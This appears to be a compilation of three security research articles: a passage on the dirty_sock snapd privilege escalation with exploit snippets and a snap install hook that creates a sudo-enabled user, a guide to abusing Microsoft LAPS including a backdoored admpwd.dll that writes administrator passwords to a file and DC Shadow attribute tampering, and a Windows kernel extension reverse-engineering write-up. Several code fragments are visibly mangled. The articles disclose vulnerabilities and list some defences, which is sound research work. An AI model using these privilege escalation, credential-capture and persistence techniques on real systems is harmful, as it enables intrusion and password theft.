Interesting. We can use the Linux “nc” tool (as long as it is the BSD flavor) to connect to AF_UNIX sockets like these. The following is an example of connecting to one of these sockets and simply hitting enter.

$ nc -U /run/snapd.socket

HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request

Even more interesting. One of the first things an attacker will do when compromising a machine is to look for hidden services that are running in the context of root. HTTP servers are prime candidates for exploitation, but they are usually found on network sockets.

This is enough information now to know that we have a good target for exploitation — a hidden HTTP service that is likely not widely tested as it is not readily apparent using most automated privilege escalation checks.

NOTE: Check out my work-in-progress privilege escalation tool uptux that would identify this as interesting.

Vulnerable Code

Being an open-source project, we can now move on to static analysis via source code. The developers have put together excellent documentation on this REST API available here.

The API function that stands out as highly desirable for exploitation is “POST /v2/create-user”, which is described simply as “Create a local user”. The documentation tells us that this call requires root level access to execute.

But how exactly does the daemon determine if the user accessing the API already has root?

Reviewing the trail of code brings us to this file (I’ve linked the historically vulnerable version).

Let’s look at this line:

ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)

This is calling one of golang’s standard libraries to gather user information related to the socket connection.

Basically, the AF_UNIX socket family has an option to enable receiving of the credentials of the sending process in ancillary data (see man unix from the Linux command line).

This is a fairly rock solid way of determining the permissions of the process accessing the API.

Using a golang debugger called delve, we can see exactly what this returns while executing the “nc” command from above. Below is the output from the debugger when we set a breakpoint at this function and then use delve’s “print” command to show what the variable “ucred” currently holds:

   109:			ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)
=> 110:			if err != nil {
(dlv) print ucred
*syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000}

That looks pretty good. It sees my uid of 1000 and is going to deny me access to the sensitive API functions. Or, at least it would if these variables were called exactly in this state. But they are not.

Instead, some additional processing happens in this function, where connection info is added to a new object along with the values discovered above:

func (wc *ucrednetConn) RemoteAddr() net.Addr {
	return &ucrednetAddr{wc.Conn.RemoteAddr(),, wc.uid, wc.socket}

…and then a bit more in this one, where all of these values are concatenated into a single string variable:

func (wa *ucrednetAddr) String() string {
	return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s",, wa.uid, wa.socket, wa.Addr)

..and is finally parsed by this function, where that combined string is broken up again into individual parts:

func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) {
	for _, token := range strings.Split(remoteAddr, ";") {
		var v uint64
		} else if strings.HasPrefix(token, "uid=") {
			if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil {
				uid = uint32(v)
			} else {

What this last function does is split the string up by the “;” character and then look for anything that starts with “uid=”. As it is iterating through all of the splits, a second occurrence of “uid=” would overwrite the first.

If only we could somehow inject arbitrary text into this function…

Going back to the delve debugger, we can take a look at this “remoteAddr” string and see what it contains during a “nc” connection that implements a proper HTTP GET request:


$ nc -U /run/snapd.socket
GET / HTTP/1.1

Debug output:
=>  41:		for _, token := range strings.Split(remoteAddr, ";") {
(dlv) print remoteAddr

Now, instead of an object containing individual properties for things like the uid and pid, we have a single string variable with everything concatenated together. This string contains four unique elements. The second element “uid=1000” is what is currently controlling permissions.

If we imagine the function splitting this string up by “;” and iterating through, we see that there are two sections that (if containing the string “uid=”) could potentially overwrite the first “uid=”, if only we could influence them.

The first (“socket=/run/snapd.socket”) is the local “network address” of the listening socket — the file path the service is defined to bind to. We do not have permissions to modify snapd to run on another socket name, so it seems unlikely that we can modify this.

But what is that “@” sign at the end of the string? Where did this come from? The variable name “remoteAddr” is a good hint. Spending a bit more time in the debugger, we can see that a golang standard library (net.go) is returning both a local network address AND a remote address. You can see these output in the debugging session below as “laddr” and “raddr”.

> net.(*conn).LocalAddr() /usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f)
=> 210:	func (c *conn) LocalAddr() Addr {
(dlv) print c.fd
	laddr: net.Addr(*net.UnixAddr) *{
		Name: "/run/snapd.socket",
		Net: "unix",},
	raddr: net.Addr(*net.UnixAddr) *{Name: "@", Net: "unix"},}

The remote address is set to that mysterious “@” sign. Further reading the man unix help pages provides information on what is called the “abstract namespace”. This is used to bind sockets which are independent of the filesystem. Sockets in the abstract namespace begin with a null-byte character, which is often displayed as “@” in terminal output.

Instead of relying on the abstract socket namespace leveraged by netcat, we can create our own socket bound to a file name that we control. This should allow us to affect the final portion of that string variable that we want to modify, which will land in the “raddr” variable shown above.

Using some simple python code, we can create a file name that has the string “;uid=0;” somewhere inside it, bind to that file as a socket, and use it to initiate a connection back to the snapd API.

Here is a snippet of the exploit POC:

## Setting a socket name with the payload included
sockfile = "/tmp/sock;uid=0;"

## Bind the socket
client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)

## Connect to the snap daemon

Now watch what happens in the debugger when we look at the remoteAddr variable again:

=>  41:		for _, token := range strings.Split(remoteAddr, ";") {
(dlv) print remoteAddr

There we go — we have injected a false uid of 0, the root user, which will be at the last iteration and overwrite the actual uid. This will give us access to the protected functions of the API.

We can verify this by continuing to the end of that function in the debugger, and see that uid is set to 0. This is shown in the delve output below:

=>  65:		return pid, uid, socket, err
(dlv) print uid


Version One

dirty_sockv1 leverages the ‘POST /v2/create-user’ API function. To use this exploit, simply create an account on the Ubuntu SSO and upload an SSH public key to your profile. Then, run the exploit like this (using the email address you registered and the associated SSH private key):

$ -u -k id_rsa

This is fairly reliable and seems safe to execute. You can probably stop reading here and go get root.

Still reading? Well, the requirement for an Internet connection and an SSH service bothered me, and I wanted to see if I could exploit in more restricted environments. This leads us to…

Version Two

dirty_sockv2 instead uses the ‘POST /v2/snaps’ API to sideload a snap containing a bash script that will add a local user. This works on systems that do not have the SSH service running. It also works on newer Ubuntu versions with no Internet connection at all. HOWEVER, sideloading does require some core snap pieces to be there. If they are not there, this exploit may trigger an update of the snapd service. My testing shows that this will still work, but it will only work ONCE in this scenario.

Snaps themselves run in sandboxes and require digital signatures matching public keys that machines already trust. However, it is possible to lower these restrictions by indicating that a snap is in development (called “devmode”). This will give the snap access to the host Operating System just as any other application would have.

Additionally, snaps have something called “hooks”. One such hook, the “install hook” is run at the time of snap installation and can be a simple shell script. If the snap is configured in “devmode”, then this hook will be run in the context of root.

I created a snap from scratch that is essentially empty and has no functionality. What it does have, however, is a bash script that is executed at install time. That bash script runs the following commands:

useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers

That encrypted string is simply the text dirty_sock created with Python’s crypt.crypt() function.

The commands below show the process of creating this snap in detail. This is all done from a development machine, not the target. One the snap is created, it is converted to base64 text to be included in the full python exploit.

## Install necessary tools
sudo apt install snapcraft -y

## Make an empty directory to work with
cd /tmp
mkdir dirty_snap
cd dirty_snap

## Initialize the directory as a snap project
snapcraft init

## Set up the install hook
mkdir snap/hooks
touch snap/hooks/install
chmod a+x snap/hooks/install

## Write the script we want to execute as root
cat > snap/hooks/install << "EOF"

useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers

## Configure the snap yaml file
cat > snap/snapcraft.yaml << "EOF"
name: dirty-sock
version: '0.1' 
summary: Empty snap, used for exploit
description: |

grade: devel
confinement: devmode

    plugin: nil

## Build the snap

If you don’t trust the blob I’ve put into the exploit, you can manually create your own with the method above.

Once we have the snap file, we can use bash to convert it to base64 as follows:

$ base64 <snap-filename.snap>

That base64-encoded text can go into the global variable “TROJAN_SNAP” at the beginning of the exploit.

The exploit itself is writen in python and does the following:

  1. Creates a random file with the string ‘;uid=0;’ in the name
  2. Binds a socket to this file
  3. Connects to the snapd API
  4. Deletes the trojan snap (if it was left over from a previous aborted run)
  5. Installs the trojan snap (at which point the install hook will run)
  6. Deletes the trojan snap
  7. Deletes the temporary socket file
  8. Congratulates you on your success

Protection / Remediation

Patch your system! The snapd team fixed this right away after my disclosure.

Special Thanks

  • So many StackOverflow posts I lost track…
  • The great resources put together by the snap team


Chris Moberly (@init_string) from The Missing Link.

Thanks for reading!!!

Malicious use of Microsoft LAPS

Original text by Akijosberry

LAPS Overview:

LAPS (Local Administrator Password Solution) is a tool for managing local administrator passwords for domain joined computers. It stores passwords/secrets in a confidential attribute in the computer’s corresponding active directory object. LAPS eliminates the risk of lateral movement by generating random passwords of local administrators. LAPS solution is a Group Policy Client Side Extension (CSE) which is installed on all managed machines to perform all management tasks.

Domain administrators and anyone who has full control on computer objects in AD can read and write both pieces of information (i.e., password and expiration timestamp). Password’s stored in AD is protected by ACL, it is up to the sysadmins to define who can and who cannot read the attributes. When transferred over the network, both password and time stamp are encrypted by kerberos and when stored in AD both password and time stamp are stored in clear text.

Components of LAPS:
  • Agent – Group Policy Client Extension(CSE)
    • Event Logging and Random password generation
  • PowerShell Module
    • Solution configuration
  • Active Directory
    • Computer Object, Confidential attribute, Audit trail in security log of domain controller

Firstly, we will identify whether LAPS solution has been installed on the machine which we had gained a foothold. We will leverage powershell cmdlet to identify if the admpwd.dll exist or not.

1Get-ChildItem ‘c:\program files\LAPS\CSE\Admpwd.dll’

The very next step would be identifying who has read access to ms-Mcs-AdmPwd. we can use Powerviewfor identifying users having read access to ms-Mcs-AdmPwd

12345Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs |Where-Object {($_.ObjectType -like 'ms-Mcs-AdmPwd') -and($_.ActiveDirectoryRights -match 'ReadProperty')}

If RSAT(Remote Server Administration Tools) is enabled on the victim machine, then there is an interesting way of identifying user’s having access to ms-Mcs-AdmPwd. we can simply fire the command:

1dsacls.exe 'Path to the AD DS Object'
Dumping LAPS password:

Once you have identified the user’s who has read access to ms-Mcs-AdmPwd, the next thing would be compromising those user accounts and then dumping LAPS password in clear text.

I already did a blog post on ‘Dump LAPS password in clear text‘  and would highly encourage readers to have look at that post as well.

Tip: It is highly recommended to provide ms-Mcs-AdmPwd  read access to only those who actually manage those computer objects and remove unwanted users from having read access.

Poisoning AdmPwd.dll:

Most of the previous research/attacks are focused on the server side (i.e., looking for accounts who can read the passwords) not on the client side. Microsoft’s LAPS is a client side extension which runs a single dll that manages password (admpwd.dll).

LAPS was based on open source solution called “AdmPwd” developed by Jiri Formacek and is a part of microsoft product portfolio since may 2015. The LAPS solution does not have integrity checks or signature verification for dll file. AdmPwd solution is compatible with Microsoft’s LAPS, so let’s poison the dll by compiling the project from source and replace it with the original dll. To replace the original dll administrative privilege is required and at this point we assume the user already has gained administrator privilege by LPE or any other means.

Now let’s add these 3-4 lines in the AdmPwd solution and compile the malicious dll. These lines will be added where the new password and time stamp would be reported to the AD.

1234wofstream backdoor;"c:\\backdoor.txt");backdoor << newPwd;backdoor.close();

In this way adversary will appear normal, passwords would be synced and will also comply with LAPS policy.

BONUS: Persistence of clear text password *

*Persistence till the time poisoned dll is unchanged.

  • Validate the Integrity/Signature of admpwd.dll
  • File Integrity Monitoring (FIM) policy can be created to monitor and changes/modification to the dll.
  • Application whitelisting can be applied to detect/prevent poisoning.
  • Increase LAPS logging level by setting the registry value to 2 (Verbose mode, Log everything):

Note:  Above methods are just my ramblings, I am not sure whether some of these would detect or prevent.

Modifying searchFlags attribute:

The attribute of our interest is ms-Mcs-AdmPwd which is a confidential attribute.Let’s first identify searchFlags attribute of ms-Mcs-AdmPwd. We will be using active directory PS module.


The searchFlags attribute value is 904 (0x388). From this value we need to remove the 7th bit which is the confidential attribute. CF which is the 7 th bit (0x00000080) ie., After removing the confidential value(0x388-0x80) the new value is 0x308 ie., 776. We will leverage DC Shadow attack to modify the searchFlags attribute.

  • Anything which detects DC Shadow attack eg.,ALSID Team’s powershell script. ( It detects using the “LDAP_SERVER_NOTIFICATION_OID” and tracks what changes are registered in the AD infrastructure).
  • Microsoft ATA also detects malicious replications.
  • It can also be detected by comparing the metadata of the searchFlags attribute or even looking at the LocalChangeUSN which is inconsistent with searchFlags attribute.

Note: In my lab setup when i removed the confidential attribute from one DC it gets replicated to other DC’s as well (i.e., searchFlags attribute value 776 gets replicated to other DC’s). Another thing i noticed is after every change the SerachFlags version gets increased but in my lab setup it was not increasing after 10. If you find something different do let me know.


Yes, More Callbacks — The Kernel Extension Mechanism

Original text by Yarden Shafir

Recently I had to write a kernel-mode driver. This has made a lot of people very angry and been widely regarded as a bad move. (Douglas Adams, paraphrased)

Like any other piece of code written by me, this driver had several major bugs which caused some interesting side effects. Specifically, it prevented some other drivers from loading properly and caused the system to crash.

As it turns out, many drivers assume their initialization routine (DriverEntry) is always successful, and don’t take it well when this assumption breaks. j00rudocumented some of these cases a few years ago in his blog, and many of them are still relevant in current Windows versions. However, these buggy drivers are not really the issue here, and j00ru covered it better than I could anyway. Instead I focused on just one of these drivers, which caught my attention and dragged me into researching the so-called “windows kernel host extensions” mechanism.

The lucky driver is Bam.sys (Background Activity Moderator) — a new driver which was introduced in Windows 10 version 1709 (RS3). When its DriverEntry fails mid-way, the call stack leading to the system crash looks like this:

From this crash dump, we can see that Bam.sys registered a process creation callback and forgot to unregister it before unloading. Then, when a process was created / terminated, the system tried to call this callback, encountered a stale pointer and crashed.

The interesting thing here is not the crash itself, but rather how Bam.sys registers this callback. Normally, process creation callbacks are registered via nt!PsSetCreateProcessNotifyRoutine(Ex), which adds the callback to the nt!PspCreateProcessNotifyRoutine array. Then, whenever a process is being created or terminated, nt!PspCallProcessNotifyRoutines iterates over this array and calls all of the registered callbacks. However, if we run for example “!wdbgark.wa_systemcb /type process“ in WinDbg, we’ll see that the callback used by Bam.sys is not found in this array.

Instead, Bam.sys uses a whole other mechanism to register its callbacks.

If we take a look at nt!PspCallProcessNotifyRoutines, we can see an explicit reference to some variable named nt!PspBamExtensionHost (there is a similar one referring to the Dam.sys driver). It retrieves a so-called “extension table” using this “extension host” and calls the first function in the extension table, which is bam!BampCreateProcessCallback.

If we open Bam.sys in IDA, we can easily find bam!BampCreateProcessCallbackand search for its xrefs. Conveniently, it only has one, in bam!BampRegisterKernelExtension:

As suspected, Bam!BampCreateProcessCallback is not registered via the normal callback registration mechanism. It is actually being stored in a function table named Bam!BampKernelCalloutTable, which is later being passed, together with some other parameters (we’ll talk about them in a minute) to the undocumented nt!ExRegisterExtension function.

I tried to search for any documentation or hints for what this function was responsible for, or what this “extension” is, and couldn’t find much. The only useful resource I found was the leaked ntosifs.h header file, which contains the prototype for nt!ExRegisterExtension as well as the layout of the _EX_EXTENSION_REGISTRATION_1 structure.

Prototype for nt!ExRegisterExtension and _EX_EXTENSION_REGISTRATION_1, as supplied in ntosifs.h:

    _Outptr_ PEX_EXTENSION *Extension,
    _In_ ULONG RegistrationVersion,
    _In_ PVOID RegistrationInfo

    USHORT ExtensionId;
    USHORT ExtensionVersion;
    USHORT FunctionCount;
    VOID *FunctionTable;
    PVOID *HostInterface;
    PVOID DriverObject;

After a bit of reverse engineering, I figured that the formal input parameter “PVOID RegistrationInfo” is actually of type PEX_EXTENSION_REGISTRATION_1.

The pseudo-code of nt!ExRegisterExtension is shown in appendix B, but here are the main points:

  1. nt!ExRegisterExtension extracts the ExtensionId and ExtensionVersion members of the RegistrationInfo structure and uses them to locate a matching host in nt!ExpHostList (using the nt!ExpFindHost function, whose pseudo-code appears in appendix B).
  2. Then, the function verifies that the amount of functions supplied in RegistrationInfo->FunctionCount matches the expected amount set in the host’s structure. It also makes sure that the host’s FunctionTable field has not already been initialized. Basically, this check means that an extension cannot be registered twice.
  3. If everything seems OK, the host’s FunctionTable field is set to point to the FunctionTable supplied in RegistrationInfo.
  4. Additionally, RegistrationInfo->HostInterface is set to point to some data found in the host structure. This data is interesting, and we’ll discuss it soon.
  5. Eventually, the fully initialized host is returned to the caller via an output parameter.

We saw that nt!ExRegisterExtension searches for a host that matches RegistrationInfo. The question now is, where do these hosts come from?

  • During its initialization, NTOS performs several calls to nt!ExRegisterHost. In every call it passes a structure identifying a single driver from a list of predetermined drivers (full list in appendix A). For example, here is the call which initializes a host for Bam.sys:
  • nt!ExRegisterHost allocates a structure of type _HOST_LIST_ENTRY(unofficial name, coined by me), initializes it with data supplied by the caller, and adds it to the end of nt!ExpHostList. The _HOST_LIST_ENTRYstructure is undocumented, and looks something like this:
    _LIST_ENTRY List;
    DWORD RefCount;
    USHORT ExtensionId;
    USHORT ExtensionVersion;
    USHORT FunctionCount; // number of callbacks that the extension 
// contains
    POOL_TYPE PoolType;   // where this host is allocated
    PVOID HostInterface; // table of unexported nt functions, 
// to be used by the driver to which
// this extension belongs
    PVOID FunctionAddress; // optional, rarely used. 
// This callback is called before
// and after an extension for this
// host is registered / unregistered
    PVOID ArgForFunction; // will be sent to the function saved here
    _EX_RUNDOWN_REF RundownRef;
    _EX_PUSH_LOCK Lock;
    PVOID FunctionTable; // a table of the callbacks that the 
// driver “registers”
    DWORD Flags;         // Only uses one bit. 
// Not sure about its meaning.
  • When one of the predetermined drivers loads, it registers an extension using nt!ExRegisterExtension and supplies a RegistrationInfo structure, containing a table of functions (as we saw Bam.sys doing). This table of functions will be placed in the FunctionTable member of the matching host. These functions will be called by NTOS in certain occasions, which makes them some kind of callbacks.

Earlier we saw that part of nt!ExRegisterExtension functionality is to set RegistrationInfo->HostInterface (which contains a global variable in the calling driver) to point to some data found in the host structure. Let’s get back to that.

Every driver which registers an extension has a host initialized for it by NTOS. This host contains, among other things, a HostInterface, pointing to a predetermined table of unexported NTOS functions. Different drivers receive different HostInterfaces, and some don’t receive one at all.

For example, this is the HostInterface that Bam.sys receives:

So the “kernel extensions” mechanism is actually a bi-directional communication port: The driver supplies a list of “callbacks”, to be called on different occasions, and receives a set of functions for its own internal use.

To stick with the example of Bam.sys, let’s take a look at the callbacks that it supplies:

  • BampCreateProcessCallback
  • BampSetThrottleStateCallback
  • BampGetThrottleStateCallback
  • BampSetUserSettings
  • BampGetUserSettingsHandle

The host initialized for Bam.sys “knows” in advance that it should receive a table of 5 functions. These functions must be laid-out in the exact order presented here, since they are called according to their index. As we can see in this case, where the function found in nt!PspBamExtensionHost->FunctionTable[4] is called:

To conclude, there exists a mechanism to “extend” NTOS by means of registering specific callbacks and retrieving unexported functions to be used by certain predetermined drivers.

I don’t know if there is any practical use for this knowledge, but I thought it was interesting enough to share. If you find anything useful / interesting to do with this mechanism, I’d love to know 🙂

Appendix A — Extension hosts initialized by NTOS:

Appendix B — functions pseudo-code:

NTSTATUS ExRegisterExtension(_Outptr_ PEX_EXTENSION *Extension, _In_ ULONG RegistrationVersion, _In_ PREGISTRATION_INFO RegistrationInfo)
	// Validate that version is ok and that FunctionTable is not sent without FunctionCount or vise-versa.
	if ( (RegistrationVersion & 0xFFFF0000 != 0x10000) || (RegistrationInfo->FunctionTable == nullptr && RegistrationInfo->FunctionCount != 0) ) 

	// Skipping over some lock-related stuff,
	// Find the host with the matching version and id.
	pHostListEntry = ExpFindHost(RegistrationInfo->ExtensionId, RegistrationInfo->ExtensionVersion);

	// More lock-related stuff.	

	if (!pHostListEntry)

	// Verify that the FunctionCount in the host doesn't exceed the FunctionCount supplied by the caller.
	if (RegistrationInfo->FunctionCount < pHostListEntry->FunctionCount)

	// Check that the number of functions in FunctionTable matches the amount in FunctionCount.
	PVOID FunctionTable = RegistrationInfo->FunctionTable;
	for (int i = 0; i < RegistrationInfo->FunctionCount; i++)
		if ( RegistrationInfo->FunctionTable[i] == nullptr ) 

	// skipping over some more lock-related stuff

	// Check if there is already an extension registered for this host.
	if (pHostListEntry->FunctionTable != nullptr || FlagOn(pHostListEntry->Flags, 1) )
		// There is something related to locks here

	// If there is a callback function for this host, call it before registering the extension, with 0 as the first parameter.
	if (pHostListEntry->FunctionAddress) 
		pHostListEntry->FunctionAddress(0, pHostListEntry->ArgForFunction); 

	// Set the FunctionTable in the host to the table supplied by the caller, or to MmBadPointer if a table wasn't supplied.
	if (RegistrationInfo->FunctionTable == nullptr)
		pHostListEntry->FunctionTable = nt!MmBadPointer;
		pHostListEntry->FunctionTable = RegistrationInfo->FunctionTable;

	pHostListEntry->RundownRef = 0;

	// If there is a callback function for this host, call it after registering the extension, with 1 as the first parameter.
	if (pHostListEntry->FunctionAddress)
		pHostListEntry->FunctionAddress(1, pHostListEntry->ArgForFunction);

	// Here there is some more lock-related stuff

	// Set the HostTable of the calling driver to the table of functions listed in the host.
	if (RegistrationInfo->HostTable != nullptr)
		*(PVOID)RegistrationInfo->HostTable = pHostListEntry->hostInterface;

	// Return the initialized host to the caller in the output Extension parameter.
	*Extension = pHostListEntry;

ExRegisterExtension.c hosted with ❤ by GitHub

NTSTATUS ExRegisterHost(_Out_ PHOST_LIST_ENTRY ExtensionHost, _In_ ULONG Unused, _In_ PHOST_INFORMATION HostInformation)

	// Allocate memory for a new HOST_LIST_ENTRY
	PHOST_LIST_ENTRY p = ExAllocatePoolWithTag(HostInformation->PoolType, 0x60, 'HExE');
	if (p == nullptr)

	// Initialize a new HOST_LIST_ENTRY 
	p->Flags &= 0xFE;
	p->RefCount = 1;
	p->FunctionTable = 0;
	p->ExtensionId = HostInformation->ExtensionId;
	p->ExtensionVersion = HostInformation->ExtensionVersion;
	p->hostInterface = HostInformation->hostInterface;
	p->FunctionAddress = HostInformation->FunctionAddress;
	p->ArgForFunction = HostInformation->ArgForFunction;			
	p->Lock = 0; 			
	p->RundownRef = 0;		

	// Search for an existing listEntry with the same version and id.
	PHOST_LIST_ENTRY listEntry = ExpFindHost(HostInformation->ExtensionId, HostInformation->ExtensionVersion);
	if (listEntry)
		// Insert the new HOST_LIST_ENTRY to the end of ExpHostList.
		if ( *lastHostListEntry != &firstHostListEntry )

		firstHostListEntry->Prev = &p;
		p->Next = firstHostListEntry;
		lastHostListEntry = p;

		ExtensionHost = p;
	return Status;

ExRegisterHost.c hosted with ❤ by GitHub

PHOST_LIST_ENTRY ExpFindHost(USHORT ExtensionId, USHORT ExtensionVersion)
	for (entry == ExpHostList; ; entry = entry->Next)
		if (entry == &ExpHostList) 
			return 0; 
		if ( *(entry->ExtensionId) == ExtensionId && *(entry->ExtensionVersion) == ExtensionVersion ) 
	return entry;

ExpFindHost.c hosted with ❤ by GitHub

void ExpDereferenceHost(PHOST_LIST_ENTRY Host)
  	if ( InterlockedExchangeAdd(Host.RefCount, 0xFFFFFFFF) == 1 )
    		ExFreePoolWithTag(Host, 0);

ExpDereferenceHost.c hosted with ❤ by GitHub

Appendix C — structures definitions:

    USHORT ExtensionId;
    USHORT ExtensionVersion;
    DWORD FunctionCount;
    POOL_TYPE PoolType;
    PVOID HostInterface;
    PVOID FunctionAddress;
    PVOID ArgForFunction;
    PVOID unk;

    _LIST_ENTRY List;
    DWORD RefCount;
    USHORT ExtensionId;
    USHORT ExtensionVersion;
    USHORT FunctionCount; // number of callbacks that the 
// extension contains
    POOL_TYPE PoolType;   // where this host is allocated
    PVOID HostInterface;  // table of unexported nt functions, 
// to be used by the driver to which
// this extension belongs
    PVOID FunctionAddress; // optional, rarely used. 
// This callback is called before and
// after an extension for this host
// is registered / unregistered
    PVOID ArgForFunction; // will be sent to the function saved here
    _EX_RUNDOWN_REF RundownRef;
    _EX_PUSH_LOCK Lock;
    PVOID FunctionTable;    // a table of the callbacks that 
// the driver “registers”
DWORD Flags;                // Only uses one flag. 
// Not sure about its meaning.

    USHORT ExtensionId;
    USHORT ExtensionVersion;
    USHORT FunctionCount;
    PVOID FunctionTable;
    PVOID *HostTable;
    PVOID DriverObject;